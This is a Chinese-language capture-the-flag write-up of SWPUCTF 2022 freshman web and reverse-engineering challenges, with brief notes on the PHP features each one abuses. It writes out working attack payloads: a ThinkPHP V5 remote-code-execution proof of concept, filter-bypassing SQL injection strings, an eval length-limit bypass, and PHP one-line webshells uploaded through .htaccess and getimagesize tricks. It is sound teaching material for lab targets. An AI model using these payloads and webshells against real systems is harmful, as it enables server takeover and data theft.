目录
[SWPUCTF 2022 新生赛]ez_rce
什么是poc?
[SWPUCTF 2022 新生赛]where_am_i
[SWPUCTF 2022 新生赛]js_sign
[SWPUCTF 2022 新生赛]xff
[SWPUCTF 2022 新生赛]numgame
call_user_func()函数
::双冒号运算符
[SWPUCTF 2022 新生赛]ez_sql
[SWPUCTF 2022 新生赛]webdog1__start
get=eval($_GET[1]);&1=system('cat flag.php');
0e215962017
[SWPUCTF 2022 新生赛]funny_php
[SWPUCTF 2022 新生赛]funny_web
intval()函数:用于获取变量的整数值
[SWPUCTF 2022 新生赛]base64
[SWPUCTF 2022 新生赛]base64-2
[SWPUCTF 2022 新生赛]Ez_upload
[SWPUCTF 2022 新生赛]file_master
open_basedir:
file://协议:
getimagesize()函数及绕过:
短标签 、
Session:
[SWPUCTF 2022 新生赛]ez_rce
肯定是假的,dirsearch扫描一下发现robots.txt协议,访问得路径 /NSS/index.php/
访问发现ThinkPHP V5漏洞
ThinkPHP是一款运用极广的PHP开发框架。其漏洞点是由于ThinkPHP框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
可使用ThinkPHP全版本漏洞扫描工具
GitHub - zangcc/Aazhen-RexHa: 自研JavaFX图形化漏洞扫描工具
基于JavaFx的ThinkPHP漏洞扫描工具---RexHa(Aazhen)的一些说明_thinkphp漏洞检测工具
ThinkPHP V5 有一个远程执行命令的漏洞。
可构造如下poc:
url+?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=系统执行命令
什么是poc?
POC通常是通过建立实验室环境和模拟攻击来验证漏洞是否真实存在。
POC的过程就是利用已知漏洞,编写相应代码并在受攻击的目标系统上进行测试,以证明该漏洞确实能够被攻击者所利用。如果POC得到了成功的结果,则意味着该漏洞真实存在,并且需要及时修复,以避免未来可能出现更为危险的攻击行为。
查看根目录:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
找所有关于flag的文件:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name 'flag'
在 /nss/ctf/flag/flag 找到flag
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /nss/ctf/flag/flag
[SWPUCTF 2022 新生赛]where_am_i
根据题目描述及查看源代码得到的提示,大概知道要输电话号码
题中有张图片,简单社工一下
再搜一下该酒店的电话号 02886112888,输入得flag
[SWPUCTF 2022 新生赛]js_sign
查看js代码,发现hint
base64解码得tapcode(敲击码) ,解码得flag
Tap Code - 许愿星
[SWPUCTF 2022 新生赛]xff
根据题目及必须从小红自己的电脑上访问,bp抓包 添加本地管理员
X-Forwarded-For:127.0.0.1
提示要从主页跳转,于是添加referer,得到flag
Referer:Home Page
Referer的作用:指示一个请求是从哪里链接过来
[SWPUCTF 2022 新生赛]numgame
打开环境是一个到不了20的计算页面
发现右键、F12、Ctrl+U都用不了,手动添加view-source: 或从右上角开发者工具打开源代码
发现有一个前往网页的标签,访问发现base64编码的类似flag的东西
解码发现是个php文件
访问后来到第二层
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php"); // 包含并执行 flag.php 文件
class nss{ // 定义 nss 类
static function ctf(){ // 定义静态方法 ctf
include("./hint2.php"); // 包含并执行 hint2.php 文件
}
}
if(isset($_GET['p'])){ // 如果存在GET参数p
// 检查p参数值中是否包含 'n' 或者 'c'
if (preg_match("/n|c/m",$_GET['p'],$matches))
die("no"); // 如果包含,终止脚本执行并返回 "no"
call_user_func($_GET['p']); // 如果不包含,调用URL参数所指定的函数
}
else{
highlight_file(__FILE__); // 如果URL中没有p参数,显示当前文件的源代码
}
其中包含的hint2.php文件尝试直接访问,提示类为nss2
直接使用::双冒号运算符访问类nss2中的方法ctf,表达式中匹配到了n和c,尝试用大写绕过
构造payload:得到flag
?p=Nss2::Ctf
//使用双冒号运算符访问类nss中的方法ctf也可得到hint2
call_user_func()函数
可以调用一个用户定义的函数,如果传递的是含有系统命令的字符串,可能被用来执行代码。
call_user_func('system', 'id'); // 等同于执行系统命令 id
::双冒号运算符
可以直接使用双冒号运算符 访问类中的方法
[SWPUCTF 2022 新生赛]ez_sql
题目提示要用相对安全的方式传参,GET方式不可以
使用POST传参 得到2个假的flag
根据题目进行SQL注入,注入点即为nss传参
根据报错信息判断为单引号闭合的字符型注入
判断列数时,发现过滤了空格和or
空格用/**/替换,or可双写绕过,判断列数为3
nss=1'/**/oorrder/**/by/**/3#
判断回显位为2,3 同样的union也被过滤了,双写绕过
nss=0'/**/uunionnion/**/select/**/1,2,3#
爆数据库名,表名、列名、flag:
库名 nss=0'/**/uunionnion/**/select/**/1,version(),database()#
表名 nss=0'/**/uunionnion/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'),3#
列名 nss=0'/**/uunionnion/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'),3#
字段 nss=0'/**/uunionnion/**/select/**/1,(select/**/group_concat(Secr3t)/**/from/**/NSS_tb),3#
最终在Secr3t中得到flag。
[SWPUCTF 2022 新生赛]webdog1__start
打开环境查看源代码发现存在GET传参web=first,并且要求 $first==md5($first)
故可传入 ?web=0e215962017,来到了start.php界面
查看源代码发现这样一句话 “下一个”你知道机器人的力量吗?去吧,去吧!!
于是访问一下robots.txt协议 ,发现一堆乱码中有一个路径 f14g.php
访问后得到这段话,说flag不在这里,但其他地方也没有了
使用bp抓包看看,发现一个hint 去看看 F1l1l1l1l1lag.php
得到一串代码
if (isset($_GET['get'])){ //GET传参get=get
$get=$_GET['get'];
if(!strstr($get," ")){ //如果get中不包含空格,则将$get中所有"flag"字符串替换为空格
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){ //如果替换后的$get长度超过18个字符,输出错误信息"This is too long."并停止脚本
die("This is too long.");
}
else{ //否则执行$get中的代码
eval($get);
}
}
else {
die("nonono"); //如果get中包含空格,输出错误信息nonono
}
}
eval($get); 可进行任意代码执行操作,可以用它执行System命令得到flag。
因此需要满足条件:$get中不能含有空格、flag字符串,长度不能超过18个字符
过滤空格:%09(tab)、$IFS$9、 ${IFS}、$IFS等
过滤flag:可以使用问号(?)、通配符星号(*) 代替某个字符
故可构造payload查看目录:发现flag.php文件
/F1l1l1l1l1lag.php?get=system('ls');
get=eval($_GET[1]);&1=system('cat flag.php');
有长度限制,尝试转接
/F1l1l1l1l1lag.php?get=eval($_GET[1]);&1=system('cat flag.php');
//此处System函数中不直接通过$get执行,可以使用空格
查看源代码提示flag在/flag路径下的文件中,访问得到flag
0e215962017
0e215962017这个字符串比较特殊,因为 该字符串 及该字符串的 MD5 加密结果均以 0e为前缀。
php中存在== 弱类型比较,可通过hash比较的缺陷绕过。
hash比较的缺陷:
两个数的md5加密后的值以0e开头就可以绕过
因为以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等
[SWPUCTF 2022 新生赛]funny_php
代码审计
<?php
session_start(); //开始或恢复一个会话,用于存储用户数据
highlight_file(__FILE__); //高亮显示当前文件的源代码
//检查URL中是否存在num参数,如果存在且其长度小于等于3或数值大于999999999,则输出:D并设置会话变量$_SESSION['L1']为1;否则输出:C
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
//如果URL中存在str参数,使用正则表达式移除字符串中的NSSCTF,然后检查处理后的字符串是否等于NSSCTF。
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
//如果处理后的字符串等于NSSCTF,输出wow并设置会话变量$_SESSION['L2']为1;否则输出处理后的字符串。
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
//如果POST请求中同时存在md5_1和md5_2,检查两个值不相等但它们的MD5哈希值相等。
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
//如果条件满足,输出Nice!,进一步检查md5_1和md5_2的值是否为字符串。
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
//如果是,输出yoxi!并设置会话变量$_SESSION['L3']为1;否则输出X。
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
//如果条件不满足,输出G并打印md5_1和md5_2的值。
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
//如果会话中L1、L2和L3都已设置,包含flag.php文件并输出其中的$flag变量。
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
代码有点多,大概就是说让L1、L2、L3都存在 就能输出flag
L1:使用科学计数法绕过,1e9是1乘以10的9次方,2e9是2乘以10的9次方,所以这里直接传入1e9即可绕过。(刚好长度为3,数值大于999999999),num=1e9
L2:使用双写绕过正则匹配,str=NSSNSSCTFCTF
L3:找两个md5后为0e开头的字符就行,md5_1=s878926199a&md5_2=s155964671a
[SWPUCTF 2022 新生赛]funny_web
账号NSS
密码2122693401这个不细究了,直接看题。
GET传参num不等于12345,但是intval(num)等于12345
构造 ?num=12345a 即可绕过,得到flag。
intval()函数:用于获取变量的整数值
intval函数有个特性:直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换。
上面payload遇到字母a时结束转换
[SWPUCTF 2022 新生赛]base64
之前没见过这种题,看了大佬wp才知道要用到IDA
下载附件解压后查一下壳,是一个64位的ELF程序,无壳
使用IDA打开,shift+F12搜索字符串,发现疑似base64加密的字符串(下面的编码表为base64标准编码表)
解密得到flag
[SWPUCTF 2022 新生赛]base64-2
与上一题差不多
只是要用题目所给编码表解码,得到flag
[SWPUCTF 2022 新生赛]Ez_upload
尝试上传php一句话木马:
<?php @eval($_POST['line']); ?>
直接被检测到了,改为js一句话木马:
<script language="php">eval($_POST['line']);</script>
提示后缀不能有ph,尝试各种黑名单绕过都不行、%00截断也没用。
尝试 MIME绕过,修改文件名后缀为.jpg Content-Type: image/jpeg,上传成功。
知道是MIME绕过后,重新先上传一个.htaccess解析文件将jpg文件伪装成有效的PHP文件
.htaccess文件中的内容为:
SetHandler application/x-httpd-php
.htaccess文件与1.jpg木马文件都上传成功后,使用蚁剑连接(注意路径/upload/2d6c206b2ff5fbca96e57e03b62fcd5e/1.jpg),但是发现/flag中没有flag~
原来flag在phpinfo()里面~
[SWPUCTF 2022 新生赛]file_master
打开环境是文件上传题,但是多了一个查看文件的查询键。
F12在网络中看一下返回包,后端语音为PHP。
查询 /etc/passwd(/etc/passwd文件包含了系统上所有用户的信息)
发现GET传参filename,通过报错得知可在路径 /var/www/html/index.php 下读取相关信息。
Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/html/:/tmp/) in /var/www/html/index.php on line 24
Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /var/www/html/index.php on line 24
警告: file_get_contents()函数受到open_basedir限制的影响。文件(/etc/passwd)不在允许的路径(/var/www/html/:/tmp/)内,在第24行的/index.php中。
警告: file_get_contents(/etc/passwd)在第24行的/index.php中: 打开流操作不被允许。
尝试使用file伪协议读取文件内容:
?filename=file:///var/www/html/index.php
访问后查看源代码,有了源码就变成白盒文件上传。
进行代码审计,重点为以下四点:
1.上传的文件类型 image/jpeg
2.通过设置#define width 1、#define height 1绕过getimagesize()函数
(这里限制了图片宽高<=20,GIF89a无法绕过)
3.文件存储路径为/upload/... ...
4.上传的一句话木马中不能含有“php”
<?= @eval($_POST['line']);?>
进行文件上传:
Content-Type: image/jpeg
#define width 1
#define height 1
<?=
@eval($_POST['line']);
?>
上传成功后,提示路径为 upload/your_sessionid/your_filename
找一下 sessionid:1fce88b9453293618817ea84c342e605
得路径 upload/1fce88b9453293618817ea84c342e605/1.php
连接蚁剑,没找到flag
直接在HackBar中getshell,得到flag
知识点:
file_get_contents()函数:用于读取文件的内容。
open_basedir:
PHP的open_basedir是一个安全机制,用于限制在PHP脚本中可以打开的文件或目录的范围,从而防止访问非法或未授权的文件系统资源。当开启open_basedir后,PHP脚本只能在指定的目录下访问文件或者目录,任何尝试访问在指定目录范围之外的资源都将被禁止访问。
file://协议:
用于访问本地文件系统,在CTF中通常用来读取本地文件且不受allow_url_fopen与allow_url_include的影响。
file:// [文件的绝对路径和文件名]
getimagesize()函数及绕过:
文件上传-文件头绕过getimagesize()
getimagesize()函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
getimagesize()函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
GIF89a(图形交换格式编号89A):
“GIF89a”经常作为“Graphics Interchange Format number 89A”的缩写来使用
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。
绕过getimagesize():
1. 在文件内容的起始位置加上一个GIF89a,这样我们的文件就会被认为是一个图片
php的getimagesize()函数也检测不出来我们构造的这个“虚假”的图片是无效的。
2. 可以用普通文件,通过设置height以及width来绕过。
#define width 1 #define height 1
短标签<?=?> 、<? ?>
<?=?>
配置short_open_tag=off时也可使用,相当于<?php echo ?>,适合输出php语句
<?= @eval($_POST['line']);?>
<? ?>
只有配置short_open_tag=on时可使用,适合执行php语句
<? @eval($_POST['line']);?>
Session:
SessionID的主要作用是维护服务器与客户端之间的会话状态。
SessionID最常见的存储方式是通过HTTP响应头中的
Set-Cookie
字段发送给客户端,并保存在浏览器的Cookie中。每当客户端向服务器发送请求时,浏览器会自动在请求头中包含这些Cookie,从而允许服务器识别出用户的会话。